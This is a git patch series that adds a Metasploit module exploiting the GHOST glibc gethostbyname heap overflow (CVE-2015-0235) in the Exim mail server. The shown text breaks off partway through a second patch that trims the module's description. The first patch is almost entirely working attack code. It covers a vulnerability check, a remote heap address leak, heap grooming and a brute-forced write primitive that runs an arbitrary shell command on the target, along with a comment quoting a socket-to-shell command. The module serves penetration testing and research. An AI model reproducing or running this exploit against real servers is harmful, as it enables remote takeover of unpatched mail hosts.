From 968a8758ad83c26bf83edfb412f03849203b20a7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 18 Mar 2015 18:51:16 -0500 Subject: [PATCH 1/6] Add CVE-2015-0235 Exim GHOST (glibc gethostbyname) Buffer Overflow This was originally written by Qualys --- .../linux/smtp/exim_gethostbyname_bof.rb | 789 ++++++++++++++++++ 1 file changed, 789 insertions(+) create mode 100644 modules/exploits/linux/smtp/exim_gethostbyname_bof.rb diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb new file mode 100644 index 0000000000..98086b5395 --- /dev/null +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -0,0 +1,789 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow', + 'Description' => %q( + This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based + buffer overflow in the GNU C Library's gethostbyname functions) on x86 + and x86_64 GNU/Linux systems that run the Exim mail server. Technical + information about the exploitation can be found in the original GHOST + advisory, and in the source code of this module. + ------------------------------------------------------------------------ + SERVER-SIDE REQUIREMENTS (Exim) + ------------------------------------------------------------------------ + The remote system must use a vulnerable version of the GNU C Library: + the first exploitable version is glibc-2.6, the last exploitable version + is glibc-2.17; older versions might be exploitable too, but this module + depends on the newer versions' fd_nextsize (a member of the malloc_chunk + structure) to remotely obtain the address of Exim's smtp_cmd_buffer in + the heap. + ------------------------------------------------------------------------ + The remote system must run the Exim mail server: the first exploitable + version is exim-4.77; older versions might be exploitable too, but this + module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably + set up the heap as described in the GHOST advisory. + ------------------------------------------------------------------------ + The remote Exim mail server must be configured to perform extra security + checks against its SMTP clients: either the helo_try_verify_hosts or the + helo_verify_hosts option must be enabled; the "verify = helo" ACL might + be exploitable too, but is unpredictable and therefore not supported by + this module. + ------------------------------------------------------------------------ + CLIENT-SIDE REQUIREMENTS (Metasploit) + ------------------------------------------------------------------------ + This module's "exploit" method requires the SENDER_HOST_ADDRESS option + to be set to the IPv4 address of the SMTP client (Metasploit), as seen + by the SMTP server (Exim); additionally, this IPv4 address must have + both forward and reverse DNS entries that match each other + (Forward-Confirmed reverse DNS). + ------------------------------------------------------------------------ + The remote Exim server might be exploitable even if the Metasploit + client has no FCrDNS, but this module depends on Exim's sender_host_name + variable to be set in order to reliably control the state of the remote + heap. + ------------------------------------------------------------------------ + TROUBLESHOOTING + ------------------------------------------------------------------------ + "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option + was not specified. + ------------------------------------------------------------------------ + "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure: + the SENDER_HOST_ADDRESS option was specified, but not in IPv4 + dotted-decimal notation. + ------------------------------------------------------------------------ + "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or + "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the + SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP + client (Metasploit), as seen by the SMTP server (Exim). + ------------------------------------------------------------------------ + "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the + SMTP client (Metasploit) has no Forward-Confirmed reverse DNS. + ------------------------------------------------------------------------ + "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server + is either not vulnerable, or not exploitable (glibc versions older than + glibc-2.6 have no fd_nextsize member in their malloc_chunk structure). + ------------------------------------------------------------------------ + "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address + contains bad characters (NUL, CR, LF) and was therefore mangled during + the information leak; this exploit is able to reconstruct most of these + addresses, but not all (worst-case probability is ~1/85, but could be + further improved). + ------------------------------------------------------------------------ + "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote + Unix command was executed, but spawned a bind-shell or a reverse-shell + that failed to connect (maybe because of a firewall, or a NAT, etc). + ------------------------------------------------------------------------ + "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the + remote Unix command was executed, but failed to spawn the shell (maybe + because the setsid command doesn't exist, or awk isn't gawk, or netcat + doesn't support the -6 or -e option, or telnet doesn't support the -z + option, etc). + ------------------------------------------------------------------------ + Comments and questions are welcome! + ), + 'Author' => ['Qualys, Inc. '], + 'License' => BSD_LICENSE, + 'References' => [ + ['CVE', '2015-0235'], + ['US-CERT-VU', '967332'], + ['OSVDB', '117579'], + ['BID', '72325'], + ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'] + ], + 'DisclosureDate' => 'Jan 27 2015', + 'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim) + 'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload + 'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^ + 'Payload' => { + 'Space' => 255, # the shorter the payload, the higher the probability of code execution + 'BadChars' => "", # we encode the payload ourselves, because ^ + 'DisableNops' => true, + 'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell + }, + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(25), + OptAddress.new('SENDER_HOST_ADDRESS', [false, + 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil]) + ], self.class) + + register_advanced_options([ + OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil]) + ], self.class) + end + + def check + # for now, no information about the vulnerable state of the target + check_code = Exploit::CheckCode::Unknown + + begin + # not exploiting, just checking + smtp_connect(false) + + # malloc()ate gethostbyname's buffer, and + # make sure its next_chunk isn't the top chunk + + 9.times do + smtp_send("HELO ", "", "0", "", "", 1024+16-1+0) + smtp_recv(HELO_CODES) + end + + # overflow (4 bytes) gethostbyname's buffer, and + # overwrite its next_chunk's size field with 0x00303030 + + smtp_send("HELO ", "", "0", "", "", 1024+16-1+4) + # from now on, an exception means vulnerable + check_code = Exploit::CheckCode::Vulnerable + # raise an exception if no valid SMTP reply + reply = smtp_recv(ANY_CODE) + # can't determine vulnerable state if smtp_verify_helo() isn't called + return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ + + # realloc()ate gethostbyname's buffer, and + # crash (old glibc) or abort (new glibc) + # on the overwritten size field + + smtp_send("HELO ", "", "0", "", "", 2048-16-1+4) + # raise an exception if no valid SMTP reply + reply = smtp_recv(ANY_CODE) + # can't determine vulnerable state if smtp_verify_helo() isn't called + return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ + # a vulnerable target should've crashed by now + check_code = Exploit::CheckCode::Safe + + rescue + peer = "#{rhost}:#{rport}" + vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}") + + ensure + smtp_disconnect + end + + return check_code + end + + def exploit + unless datastore['I_KNOW_WHAT_I_AM_DOING'] + print_status("Checking if target is vulnerable...") + fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable + print_good("Target is vulnerable.") + end + information_leak + code_execution + end + + private + + HELO_CODES = '250|451|550' + ANY_CODE = '[0-9]{3}' + + MIN_HEAP_SHIFT = 80 + MIN_HEAP_SIZE = 128 * 1024 + MAX_HEAP_SIZE = 1024 * 1024 + + # Exim + ALIGNMENT = 8 + STORE_BLOCK_SIZE = 8192 + STOREPOOL_MIN_SIZE = 256 + + LOG_BUFFER_SIZE = 8192 + BIG_BUFFER_SIZE = 16384 + + SMTP_CMD_BUFFER_SIZE = 16384 + IN_BUFFER_SIZE = 8192 + + # GNU C Library + PREV_INUSE = 0x1 + NS_MAXDNAME = 1025 + + # Linux + MMAP_MIN_ADDR = 65536 + + def information_leak + print_status("Trying information leak...") + leaked_arch = nil + leaked_addr = [] + + # try different heap_shift values, in case Exim's heap address contains + # bad chars (NUL, CR, LF) and was mangled during the information leak; + # we'll keep the longest one (the least likely to have been truncated) + + 16.times do + done = catch(:another_heap_shift) do + heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15) + print_debug("#{{ heap_shift: heap_shift }}") + + # write the malloc_chunk header at increasing offsets (8-byte step), + # until we overwrite the "503 sender not yet given" error message + + 128.step(256, 8) do |write_offset| + error = try_information_leak(heap_shift, write_offset) + print_debug("#{{ write_offset: write_offset, error: error }}") + throw(:another_heap_shift) if not error + next if error == "503 sender not yet given" + + # try a few more offsets (allows us to double-check things, + # and distinguish between 32-bit and 64-bit machines) + + error = [error] + 1.upto(5) do |i| + error[i] = try_information_leak(heap_shift, write_offset + i*8) + throw(:another_heap_shift) if not error[i] + end + print_debug("#{{ error: error }}") + + _leaked_arch = leaked_arch + if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize + (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd + (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size + (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() + leaked_arch = ARCH_X86_64 + + elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize + (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd + (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size + (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() + leaked_arch = ARCH_X86 + + else + throw(:another_heap_shift) + end + print_debug("#{{ leaked_arch: leaked_arch }}") + fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch + + # try different large-bins: most of them should be empty, + # so keep the most frequent fd_nextsize address + # (a pointer to the malloc_chunk itself) + + count = Hash.new(0) + 0.upto(9) do |last_digit| + error = try_information_leak(heap_shift, write_offset, last_digit) + next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes + next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK + count[error] += 1 + end + print_debug("#{{ count: count }}") + throw(:another_heap_shift) if count.empty? + + # convert count to a nested array of [key, value] arrays and sort it + error_count = count.sort { |a, b| b[1] <=> a[1] } + error_count = error_count.first # most frequent + error = error_count[0] + count = error_count[1] + throw(:another_heap_shift) unless count >= 6 # majority + leaked_addr.push({ error: error, shift: heap_shift }) + + # common-case shortcut + if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or + (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?) + leaked_addr = [leaked_addr.last] # use this one, and not another + throw(:another_heap_shift, true) # done + end + throw(:another_heap_shift) + end + throw(:another_heap_shift) + end + break if done + end + + fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil? + fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty? + + leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length } + leaked_addr = leaked_addr.first # longest + error = leaked_addr[:error] + shift = leaked_addr[:shift] + + leaked_addr = 0 + (leaked_arch == ARCH_X86 ? 4 : 8).times do |i| + break if i >= error.length + leaked_addr += error.unpack('C*')[i] * (2**(i*8)) + end + # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer: + leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE + fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR + + print_good("Successfully leaked_arch: #{leaked_arch}") + print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}") + @leaked = { arch: leaked_arch, addr: leaked_addr } + end + + def try_information_leak(heap_shift, write_offset, last_digit = 9) + fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT) + fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0 + fail_with("infoleak", "write_offset") if (write_offset & 7) != 0 + fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/ + + smtp_connect + + # bulletproof Heap Feng Shui; the hard part is avoiding: + # "Too many syntax or protocol errors" (3) + # "Too many unrecognized commands" (3) + # "Too many nonmail commands" (10) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1) + smtp_recv(250) + + # overflow (3 bytes) gethostbyname's buffer, and + # overwrite its next_chunk's size field with 0x003?31 + # ^ last_digit + smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT) + begin # ^ 0x30 | PREV_INUSE + smtp_recv(HELO_CODES) + + smtp_send("RSET") + smtp_recv(250) + + smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024) + smtp_recv(503, 'sender not yet given') + + smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("DATA") + reply = smtp_recv(503) + + lines = reply[:lines] + fail if lines.size <= 3 + fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n" + fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n" + fail if lines[-1] != "503 Too many syntax or protocol errors\r\n" + + # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting + # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed, + # but happens with lower probability) + + error = lines[+1..-3].join("") + error.sub!(/\A503-/mn, "") + error.sub!(/\r\n\z/mn, "") + error.gsub!(/\r\n503-/mn, "\n") + return error + + rescue + return nil + end + + ensure + smtp_disconnect + end + + def code_execution + print_status("Trying code execution...") + + # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore: + # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure + # that rogue child processes cannot use them. + + fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded + fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero? + # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes), + # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes). + encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&') + # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);" + command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}' + print_debug(command) + + # don't try to execute commands directly, try a very simple ACL first, + # to distinguish between exploitation-problems and shellcode-problems + + acldrop = "drop message=" + message = rand_text_alpha(command.length - acldrop.length) + acldrop += message + + max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64) + max_heap_addr = @leaked[:addr] + min_heap_addr = nil + survived = nil + + # we later fill log_buffer and big_buffer with alpha chars, + # which creates a safe-zone at the beginning of the heap, + # where we can't possibly crash during our brute-force + + # 4, because 3 copies of sender_helo_name, and step_len; + # start big, but refine little by little in case + # we crash because we overwrite important data + + helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4 + loop do + + sender_helo_name = "A" * helo_len + address = sprintf("[%s]:%d", @sender[:hostaddr], 65535) + + # the 3 copies of sender_helo_name, allocated by + # host_build_sender_fullhost() in POOL_PERM memory + + helo_ip_size = ALIGNMENT + + sender_helo_name[+1..-2].length + + sender_fullhost_size = ALIGNMENT + + sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length + + sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ? + sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) : + sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident]) + ).length + + # fit completely into the safe-zone + step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) - + (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size) + loop do + + # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer + # with alpha chars, which creates another safe-zone at the end of the heap) + heap_addr = max_heap_addr + loop do + + # try harder the first time around: we obtain better + # heap boundaries, and we usually hit our ACL faster + + (min_heap_addr ? 1 : 2).times do + + # try the same heap_addr several times, but with different random offsets, + # in case we crash because our hijacked storeblock's length field is too small + # (we don't control what's stored at heap_addr) + + rand_offset = rand(max_rand_offset) + print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}") + reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset) + print_debug("#{{ reply: reply }}") if reply + + if reply and + reply[:code] == "550" and + # detect the parsed ACL, not the "still in text form" ACL (with "=") + reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn + print_good("Brute-force SUCCESS") + print_good("Please wait for reply...") + # execute command this time, not acldrop + reply = try_code_execution(helo_len, command, heap_addr + rand_offset) + print_debug("#{{ reply: reply }}") + return handler + end + + if not min_heap_addr + if reply + fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE + survived = heap_addr + else + if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE + # survived should point to our safe-zone at the beginning of the heap + fail_with("codeexec", "never survived") if not survived + print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}" + min_heap_addr = survived + end + end + end + end + + heap_addr -= step_len + break if min_heap_addr and heap_addr < min_heap_addr + end + + break if step_len < 1024 + step_len /= 2 + end + + helo_len /= 2 + break if helo_len < 1024 + # ^ otherwise the 3 copies of sender_helo_name will + # fit into the current_block of POOL_PERM memory + end + fail_with("codeexec", "Brute-force FAILURE") + end + + # our write-what-where primitive + def try_code_execution(len, what, where) + fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len + fail_with("codeexec", "#{where} < 0") if where < 0 + + x86 = (@leaked[:arch] == ARCH_X86) + min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE)) + heap_shift = min_heap_shift + rand(1024 - min_heap_shift) + last_digit = 1 + rand(9) + + smtp_connect + + # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars + smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE - + "501 : sender address must contain a domain\r\n\0".length) + smtp_recv(501, 'sender address must contain a domain') + + smtp_send("RSET") + smtp_recv(250) + + # bulletproof Heap Feng Shui; the hard part is avoiding: + # "Too many syntax or protocol errors" (3) + # "Too many unrecognized commands" (3) + # "Too many nonmail commands" (10) + + # / 5, because "\x7F" is non-print, and: + # ss = store_get(length + nonprintcount * 4 + 1); + smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1) + smtp_recv(250) + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1) + smtp_recv(250) + + smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5) + smtp_recv(500, '\A500 unrecognized command\r\n\z') + + smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1) + smtp_recv(250) + + # overflow (3 bytes) gethostbyname's buffer, and + # overwrite its next_chunk's size field with 0x003?31 + # ^ last_digit + smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1) + smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE + + # auth_xtextdecode() is the only way to overwrite the beginning of a + # current_block of memory (the "storeblock" structure) with arbitrary data + # (so that our hijacked "next" pointer can contain NUL, CR, LF characters). + # this shapes the rest of our exploit: we overwrite the beginning of the + # current_block of POOL_PERM memory with the current_block of POOL_MAIN + # memory (allocated by auth_xtextdecode()). + + auth_prefix = rand_text_alpha(x86 ? 11264 : 11280) + (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) } + auth_prefix += "." + + # also fill log_buffer with alpha chars + smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030) + smtp_recv(501, 'invalid data for AUTH') + + smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len) + begin + reply = smtp_recv(ANY_CODE) + return reply if reply[:code] !~ /#{HELO_CODES}/ + return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/ + + smtp_send("MAIL FROM:<>") + reply = smtp_recv(ANY_CODE) + return reply if reply[:code] != "250" + + smtp_send("RCPT TO:") + reply = smtp_recv + return reply + + rescue + return nil + end + + ensure + smtp_disconnect + end + + DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])' + DOT = '[.]' + + def smtp_connect(exploiting = true) + fail_with("smtp_connect", "sock isn't nil") if sock + + connect + fail_with("smtp_connect", "sock is nil") if not sock + @smtp_state = :recv + + banner = smtp_recv(220) + return if not exploiting + + sender_host_address = datastore['SENDER_HOST_ADDRESS'] + if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/ + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil? + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)") + end + sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}" + + # turn helo_seen on (enable the MAIL command) + # call smtp_verify_helo() (force fopen() and small malloc()s) + # call host_find_byname() (force gethostbyname's initial 1024-byte malloc()) + smtp_send("HELO #{sender_host_address_octal}") + reply = smtp_recv(HELO_CODES) + + if reply[:code] != "250" + fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/ + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)") + end + + if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3 + smtp_active_hostname = $1 + sender_host_name = $2 + + if sender_host_name =~ /\A(.*) at (\S*)\z/mn + sender_host_name = $2 + sender_ident = $1 + else + sender_ident = nil + end + fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal + + else + # can't double-check sender_host_address here, so only for advanced users + fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING'] + # worst-case scenario + smtp_active_hostname = "A" * NS_MAXDNAME + sender_host_name = "A" * NS_MAXDNAME + sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127)); + end + + _sender = @sender + @sender = { + hostaddr: sender_host_address, + hostaddr8: sender_host_address_octal, + hostname: sender_host_name, + ident: sender_ident, + __smtp_active_hostname: smtp_active_hostname + } + fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender + + # avoid a future pathological case by forcing it now: + # "Do NOT free the first successor, if our current block has less than 256 bytes left." + smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16) + smtp_recv(501, 'sender address must contain a domain') + + smtp_send("RSET") + smtp_recv(250, 'Reset OK') + end + + def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil) + fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send + @smtp_state = :sending + + if not arg_pattern + fail_with("smtp_send", "prefix is nil") if not prefix + fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length + command = prefix + + else + fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length + length = arg_length - arg_prefix.length - arg_suffix.length + fail_with("smtp_send", "len is #{length}") if length <= 0 + argument = arg_prefix + case arg_pattern + when String + argument += arg_pattern * (length / arg_pattern.length) + argument += arg_pattern[0, length % arg_pattern.length] + when Method + argument += arg_pattern.call(length) + end + argument += arg_suffix + fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length + command = prefix + argument + suffix + end + + fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0 + fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE + command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer + + # the following loop works around a bug in the put() method: + # "while (send_idx < send_len)" should be "while (send_idx < buf.length)" + # (or send_idx and/or send_len could be removed altogether, like here) + + while command and not command.empty? + num_sent = sock.put(command) + fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0 + fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length + command = command[num_sent..-1] + end + + @smtp_state = :recv + end + + def smtp_recv(expected_code = nil, expected_data = nil) + fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv + @smtp_state = :recving + + failure = catch(:failure) do + + # parse SMTP replies very carefully (the information + # leak injects arbitrary data into multiline replies) + + data = "" + while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn + begin + more_data = sock.get_once + rescue + throw(:failure, "Caught #{$!.class}: #{$!.message}") + end + throw(:failure, "no more data") if more_data.nil? + throw(:failure, "no more data") if more_data.empty? + data += more_data + end + + throw(:failure, "malformed reply (count)") if data.count("\0") > 0 + lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn) + throw(:failure, "malformed reply (empty)") if lines.empty? + + code = nil + lines.size.times do |i| + lines[i].sub!(/\A\r\n/mn, "") + lines[i] += "\r\n" + + if i == 0 + code = lines[i][0,3] + throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn + if expected_code and code !~ /\A(#{expected_code})\z/mn + throw(:failure, "unexpected #{code}, expected #{expected_code}") + end + end + + line_begins_with = lines[i][0,4] + line_should_begin_with = code + (i == lines.size-1 ? " " : "-") + + if line_begins_with != line_should_begin_with + throw(:failure, "line begins with #{line_begins_with}, " \ + "should begin with #{line_should_begin_with}") + end + end + + throw(:failure, "malformed reply (join)") if lines.join("") != data + if expected_data and data !~ /#{expected_data}/mn + throw(:failure, "unexpected data") + end + + reply = { code: code, lines: lines } + @smtp_state = :send + return reply + end + + fail_with("smtp_recv", "#{failure}") if expected_code + return nil + end + + def smtp_disconnect + disconnect if sock + fail_with("smtp_disconnect", "sock isn't nil") if sock + @smtp_state = :disconnected + end +end From d8c8bd1669614b42892aba2acc064160ab77479b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 19 Mar 2015 11:52:17 -0500 Subject: [PATCH 2/6] Move the details to a wiki --- .../linux/smtp/exim_gethostbyname_bof.rb | 83 ++----------------- 1 file changed, 7 insertions(+), 76 deletions(-) diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb index 98086b5395..0829b7cef1 100644 --- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -16,81 +16,10 @@ class Metasploit4 < Msf::Exploit::Remote 'Description' => %q( This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based buffer overflow in the GNU C Library's gethostbyname functions) on x86 - and x86_64 GNU/Linux systems that run the Exim mail server. Technical - information about the exploitation can be found in the original GHOST - advisory, and in the source code of this module. - ------------------------------------------------------------------------ - SERVER-SIDE REQUIREMENTS (Exim) - ------------------------------------------------------------------------ - The remote system must use a vulnerable version of the GNU C Library: - the first exploitable version is glibc-2.6, the last exploitable version - is glibc-2.17; older versions might be exploitable too, but this module - depends on the newer versions' fd_nextsize (a member of the malloc_chunk - structure) to remotely obtain the address of Exim's smtp_cmd_buffer in - the heap. - ------------------------------------------------------------------------ - The remote system must run the Exim mail server: the first exploitable - version is exim-4.77; older versions might be exploitable too, but this - module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably - set up the heap as described in the GHOST advisory. - ------------------------------------------------------------------------ - The remote Exim mail server must be configured to perform extra security - checks against its SMTP clients: either the helo_try_verify_hosts or the - helo_verify_hosts option must be enabled; the "verify = helo" ACL might - be exploitable too, but is unpredictable and therefore not supported by - this module. - ------------------------------------------------------------------------ - CLIENT-SIDE REQUIREMENTS (Metasploit) - ------------------------------------------------------------------------ - This module's "exploit" method requires the SENDER_HOST_ADDRESS option - to be set to the IPv4 address of the SMTP client (Metasploit), as seen - by the SMTP server (Exim); additionally, this IPv4 address must have - both forward and reverse DNS entries that match each other - (Forward-Confirmed reverse DNS). - 